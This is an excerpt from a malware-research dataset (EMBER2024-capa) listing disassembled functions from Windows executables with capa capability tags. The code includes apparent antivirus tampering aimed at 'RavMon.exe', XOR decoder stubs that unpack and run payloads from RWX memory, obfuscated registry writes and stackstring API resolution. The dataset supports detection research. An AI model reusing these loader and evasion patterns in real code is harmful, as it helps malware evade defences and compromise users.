joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40168a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
nop
nop
mov esi, str.3720
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
push str.RavMon.exe
movsw word es:[edi], word [esi]
call fcn.0040178c
mov ebx, eax
pop ecx
test ebx, ebx
je 0x401711
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov edi, dword [sym.imp.USER32.dll_GetWindow]
push 5
push eax
call edi
mov esi, eax
test esi, esi
je 0x401711
lea eax, [ebp - 0x1c]
push 0x10
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x4016f9
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp ebx, dword [ebp - 4]
je 0x4016fe
push 2
push esi
jmp 0x4016c0
push 0
push 0x9c5b
push 0x111
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40178c
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
nop
nop
nop
push 0x49
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
mov dword [ebp - 0x128], ebx
push ebx
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.DLL_Process32First
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call esi
pop ecx
test eax, eax
pop ecx
je 0x401806
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x40180c
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
jmp 0x4017e1
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x40181a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
nop
nop
push 0x2e
lea eax, [ebp - 0x84]
push 0x40339c
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x84]
push 0x2d
push eax
call fcn.00401aff
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x84]
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401890
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x4019f7
Capabilities:
Allocate or change rwx memory

Disassembly:
push pe_nt_image_headers32
push 0x1000
push dword [esp + 0x10]
push 0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
ret

Function at 0x401aff
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x401b17
mov eax, dword [esp + 4]
add eax, ecx
xor byte [eax], 0x94
inc ecx
cmp ecx, dword [esp + 8]
jl 0x401b07
ret
Function at 0x10002291
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x100022a0
pop dword [ebp - 0xc]
mov eax, 0x100022a0
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x13165e3c
add dword [ebp - 0x1c], 0x3b3be70f
mov dword [ebp - 0x18], 0x38241e58
sub dword [ebp - 0x18], 0x5f0d213
mov dword [ebp - 0x14], 0xfef0872f
add dword [ebp - 0x14], 0x4d5bbcff
mov dword [ebp - 0x10], 0xce63f803
sub dword [ebp - 0x10], 0xce63f803
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xc8591837
sub eax, 0xb858c81f
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x873282c2
sub dword [ebp - 0x1c], 0x12c0196c
mov dword [ebp - 0x18], 0x93ce87e2
add dword [ebp - 0x18], 0xad9dd993
mov dword [ebp - 0x14], 0x86aef274
add dword [ebp - 0x14], 0xdcc079f8
mov dword [ebp - 0x10], 0x298ebc0f
sub dword [ebp - 0x10], 0x298ebc0f
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x8360a0e
sub eax, 0xf835b9da
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3874d
push 0
call eax
mov ecx, 0x3f995208
sub ecx, 0x3f99031c
mov ebx, eax
mov edi, 0x10040600
add edi, dword [ebp - 0xc]
mov edx, 0xde8ca6d6
sub edx, 0x82fb6b04
sub dword [ebp - 8], 0x7f4fb41c
mov esi, dword [edi]
xor dword [ebp - 8], ecx
xor esi, edx
xor dword [ebp - 4], 0xa9c67618
mov dword [ebx], esi
add dword [ebp - 4], edi
add ebx, 0x9fd0ec8b
add ebx, 0x602f1379
add edi, 0xd7c94d08
sub edi, 0xd7c94d04
loop 0x100023b7
add eax, 0xd624a93
add eax, 0xf29ee3f0
mov ebx, eax
add eax, 5
mov ecx, 0x7f4445f8
add ecx, 0x90bbba08
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x401bd7
pop dword [ebp - 0x40]
mov eax, 0x401bd7
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xeb1c04a7
add dword [ebp - 0x50], 0x633640a4
mov dword [ebp - 0x4c], 0x2e693c1e
sub dword [ebp - 0x4c], 0xfc35efd9
mov dword [ebp - 0x48], 0xee1a27b8
sub dword [ebp - 0x48], 0xa1cde38a
mov dword [ebp - 0x44], 0xbb5485b2
sub dword [ebp - 0x44], 0xbb5485b2
lea eax, [ebp - 0x50]
push eax
mov eax, 0xd7bc100d
sub eax, 0xd77b9fad
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xc7f50cc4
add dword [ebp - 0x50], 0xac7d5c92
mov dword [ebp - 0x4c], 0x621b9917
add dword [ebp - 0x4c], 0xdf50c85e
mov dword [ebp - 0x48], 0x2b8eee27
sub dword [ebp - 0x48], 0xc81f81bb
mov dword [ebp - 0x44], 0x1508afb5
add dword [ebp - 0x44], 0xeaf7504b
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x99b57200
sub eax, 0x99750100
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x36caf
push 0
call eax
mov ecx, 0x48df
mov edi, eax
mov ebx, 0xe4007d9e
sub ebx, 0xe3bf7d9e
add ebx, dword [ebp - 0x40]
mov edx, 0x91387940
sub edx, 0x9052e090
mov dword [ebp - 0x30], 0xbae56130
mov esi, dword [ebx]
sub dword [ebp - 0x18], 0xbdf5dbb3
xor esi, edx
sub dword [ebp - 8], 0xfa31fb67
mov dword [edi], esi
xor dword [ebp - 0x38], edi
add edi, 0x9891a6f6
add edi, 0x676e590e
add ebx, 0x8caaa3c5
sub ebx, 0x8caaa3c1
loop 0x401cee
add eax, 0x1164f
mov ebx, eax
add eax, 0xb1bbe166
add eax, 0x4e441e9f
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x403203
pop dword [ebp - 0x10]
mov eax, 0x403203
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x21a18699
sub dword [ebp - 0x20], 0xd34f414e
mov dword [ebp - 0x1c], 0x6fc3c147
add dword [ebp - 0x1c], 0xc26f8afe
mov dword [ebp - 0x18], 0x579088d8
add dword [ebp - 0x18], 0xf4bbbb56
mov dword [ebp - 0x14], 0xbb7575a8
sub dword [ebp - 0x14], 0xbb7575a8
lea eax, [ebp - 0x20]
push eax
mov eax, 0x622ca0dd
add eax, 0x9e13cf87
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x7d13f26b
add dword [ebp - 0x20], 0xf75e76eb
mov dword [ebp - 0x1c], 0xe7ea608
sub dword [ebp - 0x1c], 0xcd124493
mov dword [ebp - 0x18], 0xd36c1ee5
add dword [ebp - 0x18], 0x90034d87
mov dword [ebp - 0x14], 0x8b0616b6
add dword [ebp - 0x14], 0x74f9e94a
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xf6d29b3f
sub eax, 0xf6922a97
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3721d
push 0
call eax
mov ecx, 0x4dbdf4e2
sub ecx, 0x4dbdaabb
xor edx, edx
add edx, eax
mov ebx, 0xd1e8bf33
add ebx, 0x2e5840cd
add ebx, dword [ebp - 0x10]
mov edi, 0xa107b45a
sub edi, 0x6b15ebc8
sub dword [ebp - 4], 0x8abb9266
mov esi, dword [ebx]
sub dword [ebp - 8], ecx
xor esi, edi
mov dword [edx], esi
add dword [ebp - 0xc], ebx
add edx, 0xb2bb000c
sub edx, 0xb2bb0008
add ebx, 0x91de2793
sub ebx, 0x91de278f
loop 0x403322
add eax, 0x11b6f
mov ebx, eax
add eax, 0x8a946f63
sub eax, 0x8a946f5e
mov ecx, 0x2da1b4e8
sub ecx, 0x2d61b4e8
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x4053a0
Capabilities:
Accept command line arguments
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.SHELL32.DLL_CommandLineToArgvW]
sub esp, 8
test eax, eax
mov esi, eax
je 0x405493
mov eax, dword [ebp - 0x1c]
shl eax, 2
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
test eax, eax
mov dword [ecx], eax
mov dword [edx], edi
je 0x40545f
xor ebx, ebx
test edi, edi
mov edx, eax
jle 0x405417
mov eax, dword [esi + ebx*4]
lea edi, [edx + ebx*4]
mov dword [esp], eax
call fcn.00405180
mov dword [edi], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [eax]
mov eax, dword [edx + ebx*4]
test eax, eax
je 0x40542b
add ebx, 1
cmp dword [ebp - 0x1c], ebx
jg 0x4053f3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1e
mov dword [esp + 4], 1
mov dword [esp], str._nFATAL:_utf16_to_utf8_failed_n_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov dword [esp], 0xffffffff
call sub.msvcrt.dll_exit
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
mov dword [esp], str._nFATAL:_Malloc_failed_n_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov dword [esp], 0xffffffff
call sub.msvcrt.dll_exit
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x23
mov dword [esp + 4], 1
mov dword [esp], str._nFATAL:_CommandLineToArgvW_failed_n_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov dword [esp], 0xffffffff
call sub.msvcrt.dll_exit
mov esi, esi
lea edi, [edi]

Function at 0x405990
Capabilities:
Contain obfuscated stackstrings

Disassembly:
les edx, [eax]
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4059bf
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004056d1
push esp
Function at 0x405d30
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x405d85
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x405d80
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x405d6a
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x405d72
cmp edx, ebx
jne 0x405ec0
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x405d41
add eax, dword [eax + 4]
jmp 0x405d2e
mov dword [ebp + 0xc], ebx
jmp 0x405d90
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x405da8
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x405dc6
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x405e24
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x405e0b
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x405e14
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x405e1e
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x405e00
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
or al, 0x66
cmp ecx, dword [eax + 6]
jbe 0x405d8a
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x405e71
dec eax
je 0x405e68
sub eax, 3
je 0x405e5f
mov dword [ebp - 4], 0x40
jmp 0x405e8e
mov dword [ebp - 4], 4
jmp 0x405e74
mov dword [ebp - 4], 0x20
jmp 0x405e74
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x405ec0
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x405e40
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004056d1
rol dword [edi + 0x75ffdf16], 1
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x405ecc
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407aa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x407777
push esi
push ebx
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x18], esi
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
xor ecx, ecx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], esi
pop ebx
pop esi
jmp fcn.004076a0
Function at 0x4047e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x517906
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x5521f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov byte [edi], 0
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
push 0x6d
call fcn.00429000
add esp, 8
test al, al
je 0x4049c0
sub esp, 8
lea ecx, [ebp - 0x28]
mov eax, esp
mov dword [eax], str.ScreenSaver
mov dword [eax + 4], 0xb
lea eax, [ebp - 0x40]
push eax
call fcn.00425800
mov byte [ebp - 4], 1
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40488a
shr eax, 4
and al, 1
jne 0x40489c
xor edx, edx
lea ecx, [ebp - 0x40]
call fcn.004248d0
test al, al
je 0x404993
push 3
push 0x542ae0
lea ecx, [ebp - 0x74]
call fcn.00416630
mov ecx, eax
mov byte [ebp - 4], 2
cmp dword [ecx + 0x14], 8
jb 0x4048b9
mov ecx, dword [ecx]
sub esp, 8
mov edx, esp
mov dword [edx], ecx
test ecx, ecx
je 0x4048e0
cmp word [ecx], 0
jne 0x4048ce
xor ecx, ecx
jmp 0x4048e0
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4048d1
sub ecx, esi
sar ecx, 1
lea eax, [ebp - 0x5c]
mov dword [edx + 4], ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00425640
lea esi, [edi + 0x38]
mov byte [ebp - 4], 3
cmp esi, eax
je 0x404906
push 0xffffffffffffffff
push 0
push eax
mov ecx, esi
call fcn.00408f60
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x48]
cmp eax, 8
jb 0x40491f
inc eax
lea ecx, [ebp - 0x5c]
push eax
push dword [ebp - 0x5c]
call fcn.00406490
xor eax, eax
mov dword [ebp - 0x48], 7
mov dword [ebp - 0x4c], 0
mov word [ebp - 0x5c], ax
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x60]
cmp eax, 8
jb 0x40494c
inc eax
lea ecx, [ebp - 0x74]
push eax
push dword [ebp - 0x74]
call fcn.00406490
xor eax, eax
mov dword [ebp - 0x60], 7
mov dword [ebp - 0x64], 0
mov word [ebp - 0x74], ax
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 8
jb 0x40496e
mov eax, dword [esi]
jmp 0x404970
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404983
shr eax, 4
and al, 1
jne 0x404990
xor edx, edx
mov ecx, esi
call fcn.004248d0
test al, al
je 0x404993
mov byte [edi], 1
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
cmp eax, 8
jb 0x4049ac
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00406490
xor eax, eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x30], 0
mov word [ebp - 0x40], ax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x4049dc
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.00406490
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00497eb9
mov esp, ebp
pop ebp
ret
Function at 0x408440
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x517fa8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5521f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x2c], 0
cmp dword [edi + 0x18], 8
jb 0x40847e
mov eax, dword [edi + 4]
jmp 0x408481
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x408497
mov dword [ebp - 4], eax
mov eax, 1
jmp 0x408516
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
push 0xffffffffffffffff
lea edx, [ebp - 0x28]
mov dword [ebp - 4], 1
lea ecx, [edi + 4]
call fcn.00423420
add esp, 4
test al, al
jne 0x4084d9
mov esi, 2
jmp 0x4084e6
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.00408540
mov esi, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x408502
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.004023a0
mov dword [ebp - 0x14], 0xf
mov eax, esi
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00497eb9
mov esp, ebp
pop ebp
ret
Function at 0x40ed90
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x5521f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0x18]
push edi
mov edi, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], 1
jne 0x40eedd
mov ebx, dword [ebp + 0xc]
cmp ebx, 0x110
jne 0x40ee06
sub esp, 8
mov dword [edi + 0x3a0], 1
call fcn.0040eff0
mov dword [esi], eax
cmp dword [edi + 0x3a0], 0
je 0x40ee78
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00497eb9
mov esp, ebp
pop ebp
ret 0x18
cmp ebx, 0x113
jne 0x40ee32
mov dword [edi + 0x3a0], 1
cmp eax, 0x1b59
jne 0x40ee2a
mov ecx, dword [edi + 0x3a8]
call fcn.0044afdd
mov dword [esi], 0
jmp 0x40ede1
cmp ebx, 2
jne 0x40ee78
push 0
push dword [edi + 0x248]
mov dword [edi + 0x3a0], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1b59
mov ecx, edi
call fcn.00451550
push 0
mov dword [edi + 0x3a0], 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov dword [esi], 0
jmp 0x40ede1
mov esi, dword [edi + 0x39c]
mov ecx, edi
push 0
push dword [ebp - 0x10]
push dword [ebp + 0x14]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 8]
call fcn.0040e780
mov dword [edi + 0x39c], esi
lea ecx, [edi + 0x23c]
test eax, eax
jne 0x40edee
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push dword [ebp + 0x14]
push dword [ebp - 0xc]
push ebx
call fcn.0044eb71
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
test eax, eax
jne 0x40eed3
lea eax, [ebx - 0x132]
cmp eax, 6
jbe 0x40eedd
cmp dword [ebp - 8], 0
jne 0x40edee
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00497eb9
mov esp, ebp
pop ebp
ret 0x18
Function at 0x40fcb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x54b5c0
push 0x4b2db0
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x5521f4]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x4c], edx
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x30], 0x54004e
mov dword [ebp - 0x2c], 0x4c0044
mov dword [ebp - 0x28], 0x2e004c
mov dword [ebp - 0x24], 0x4c0044
mov dword [ebp - 0x20], 0x4c
movaps xmm0, xmmword [0x5464f0]
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x6d654d6c
mov dword [ebp - 0x34], 0x79726f
mov eax, dword [0x5670fc]
test eax, eax
jne 0x40fd4b
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x5670fc], eax
mov dword [ebp - 4], 0
push 4
push esi
lea ecx, [ebp + 8]
push ecx
push 0
lea ecx, [ebp - 0x4c]
push ecx
push 0xffffffffffffffff
call eax
mov ecx, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 4], 0xfffffffe
jmp 0x40fd84
mov eax, dword [ebp - 0x4c]
xor edx, edx
test ecx, ecx
cmovne eax, edx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00497eb9
mov esp, ebp
pop ebp
ret 0xc